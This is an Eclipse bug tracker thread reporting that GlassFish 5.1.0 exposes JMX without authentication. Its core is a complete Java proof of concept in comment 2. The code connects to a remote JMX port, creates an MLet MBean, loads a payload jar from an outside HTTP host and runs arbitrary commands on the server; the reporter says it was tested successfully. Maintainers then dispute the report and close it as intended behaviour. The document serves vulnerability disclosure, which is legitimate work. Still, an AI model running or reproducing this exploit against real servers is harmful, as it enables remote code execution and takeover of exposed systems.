Bug 560945

Comment 1 Wayne Beaton 2020-03-09 22:27:48 EDT

/cc project leads

There's information regarding how to deal with vulnerabilities in the handbook.

https://www.eclipse.org/projects/handbook/#vulnerability

Comment 2 r00t 4dm 2020-03-15 22:18:54 EDT

Hi, is Another POC:

package com.r00t4dm;


import javax.management.*;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.io.IOException;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.util.HashSet;
import java.util.Iterator;

/**
 * author : r00t4dm.
 */
public class JmxConnectionAndCmd {

    static void connectAndCmd (String serverName, String port, String command) throws Exception {

        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");

        JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxServiceURL, null);

        MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();
        ObjectInstance evil_bean = null;


        try {
//            evil_bean = mBeanServerConnection.getObjectInstance(new ObjectName("JMXMLet:type=MLet"));
            evil_bean = mBeanServerConnection.getObjectInstance(new ObjectName("MLetCompromise1:name=Payload,id=12"));

        }
        catch (Exception e) {
//            evil_bean = mBeanServerConnection.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
            evil_bean = null;
        }


        if (evil_bean == null) {
            System.out.println("try to create bean...");

            ObjectInstance evilObject = null;


            try {
                evilObject = mBeanServerConnection.createMBean("javax.management.loading.MLet", null);

            }
            catch (Exception e) {
                evilObject = mBeanServerConnection.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
            }

            System.out.println("Load : " + evilObject.getClassName());


            Object res = mBeanServerConnection.invoke(evilObject.getObjectName(), "getMBeansFromURL",
                    new Object[]{String.format("http://10.211.55.2/mlet", InetAddress.getLocalHost().getHostAddress())},
                    new String[] {String.class.getName()});

            HashSet hashSet = (HashSet) res;

            Iterator iterator = hashSet.iterator();
            Object nextObject = iterator.next();

            if (nextObject instanceof Exception) {
                throw (Exception) nextObject;
            }

            evil_bean = ((ObjectInstance) nextObject);

        }


        System.out.println("Loaded class : " + evil_bean.getClassName() + "-- object --  : " + evil_bean.getObjectName());

        System.out.println("calling runcommand with : " + command);

        Object result = mBeanServerConnection.invoke(evil_bean.getObjectName(), "runCmd", new Object[]{command},
                new String[] {String.class.getName()});

        System.out.println("result : " + result);



    }


    public static void main (String []args) throws Exception {

        JmxConnectionAndCmd.connectAndCmd("10.211.55.5", "8686", "ipconfig");

    }
}



the JMXPayload.jar and mlet file is exist inbox email.

this poc test GlassFish Server Open Source Edition 5.1.0 (build default-private)  on JDK8 successfully.

Comment 3 r00t 4dm 2020-03-15 22:21:17 EDT

Created attachment 282117 [details]
JMXPayload.jar

Comment 4 r00t 4dm 2020-03-15 22:21:40 EDT

Created attachment 282118 [details]
mlet

Comment 5 Susan Rai 2020-05-05 09:06:34 EDT

Hi,

"Default GlassFish environment does not have JMX authentication", this is correct behaviour. Assuming GlassFish and the JMX client you are using to access JMX monitoring data are running on the same host (machine) you don't need a secure connection. You will only need it to restrict access to specific users or remotely access JMX monitoring data from different hosts.

It is possible to secure access to JMX if secure admin option is enabled once the GlassFish server is installed. This would only allow accessing JMX over SSL and with correct credentials, even from the same host.

Regards,
Su-san

Comment 6 r00t 4dm 2020-05-05 21:50:50 EDT

Hi,

It's normal behavior from a business perspective, but it can be dangerous.

Comment 7 r00t 4dm 2020-05-05 21:51:11 EDT

(In reply to Susan Rai from comment #5)
> Hi,
> 
> "Default GlassFish environment does not have JMX authentication", this is
> correct behaviour. Assuming GlassFish and the JMX client you are using to
> access JMX monitoring data are running on the same host (machine) you don't
> need a secure connection. You will only need it to restrict access to
> specific users or remotely access JMX monitoring data from different hosts.
> 
> It is possible to secure access to JMX if secure admin option is enabled
> once the GlassFish server is installed. This would only allow accessing JMX
> over SSL and with correct credentials, even from the same host.
> 
> Regards,
> Su-san

Hi,

It's normal behavior from a business perspective, but it can be dangerous.

Comment 8 r00t 4dm 2020-05-05 21:53:20 EDT

(In reply to Susan Rai from comment #5)
> Hi,
> 
> "Default GlassFish environment does not have JMX authentication", this is
> correct behaviour. Assuming GlassFish and the JMX client you are using to
> access JMX monitoring data are running on the same host (machine) you don't
> need a secure connection. You will only need it to restrict access to
> specific users or remotely access JMX monitoring data from different hosts.
> 
> It is possible to secure access to JMX if secure admin option is enabled
> once the GlassFish server is installed. This would only allow accessing JMX
> over SSL and with correct credentials, even from the same host.
> 
> Regards,
> Su-san

Hi,

About the JMX Security issue, please watch this CVE:https://nvd.nist.gov/vuln/detail/CVE-2020-1952

Comment 9 Wayne Beaton 2021-08-16 15:31:44 EDT

I'm removing the confidential flag and marking this as INVALID based on the assertion in comment #5 that the current state is intended.

The correct escalation, I believe, is to open an issue against the Eclipse Glassfish issue tracker on GitHub with a request to implement JMX authentication.